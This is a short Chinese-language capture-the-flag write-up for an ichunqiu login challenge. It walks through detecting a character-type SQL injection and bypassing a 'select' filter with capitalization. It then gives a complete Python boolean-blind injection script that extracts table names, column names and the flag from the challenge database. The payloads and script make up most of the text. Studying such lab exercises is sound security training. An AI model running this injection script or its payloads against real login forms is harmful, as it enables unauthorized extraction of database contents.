https://www.ichunqiu.com/battalion?t=1&r=68487
输入admin显示账户或者密码错误
而输入其他显示账号不存在
这里可以初步猜测用户名就是admin
输入admin’,显示账户不存在,而输入admin’#显示账户或密码错误
这表明存在注入漏洞,并且为字符型漏洞。
可以判断为3列
在盲注之前,根据一些系列测试可以发现此题过滤了select
但是可以大写绕过。
post提交方式,参数如下为:name和pass
正确回显:{“error”:1,“msg”:"\u8d26\u53f7\u6216\u5bc6\u7801\u9519\u8bef"}
错误回显:{“error”:1,“msg”:"\u8d26\u53f7\u4e0d\u5b58\u5728"}
根据不同的回显编写脚本,这里采用布尔盲注,经测试,时间盲注也是可以,但是执行时间较长。
import requests def Get(url): result = '' for i in range(1,100): left = 32 right = 128 mid = (left+right)//2 while left<right: #查询表名 # name = "admin' and if(ascii(mid((Select group_concat(table_name) from information_schema.tables " \ # "where table_schema=database()),{0},1))>{1},1,0)#".format(i,mid) #查询列名 # name = "admin' and if(ascii(mid((Select group_concat(column_name) from information_schema.columns " \ # "where table_schema=database() and table_name='fl4g'),{0},1))>{1},1,0)#".format(i,mid) #根据表名和列名查询字段值 name = "admin' and if(ascii(mid((Select flag from fl4g),{0},1))>{1},1,0)#".format(i, mid) data = {"name":name,"pass":"1223234"} res = requests.post(url,data) if "\\u8d26\\u53f7\\u6216\\u5bc6\\u7801\\u9519\\u8bef" in res.content.decode(): left = mid+1 else: right = mid mid = (left+right)//2 #查询结果结束 if mid==32: break result += chr(mid) print(result) print(result) Get('http://eci-2ze7rwkw5ezyr8olv58h.cloudeci1.ichunqiu.com/login.php')
查询表名结果:
查询列名结果:
查询相关的值
得到flag: n1book{login_sqli_is_nice}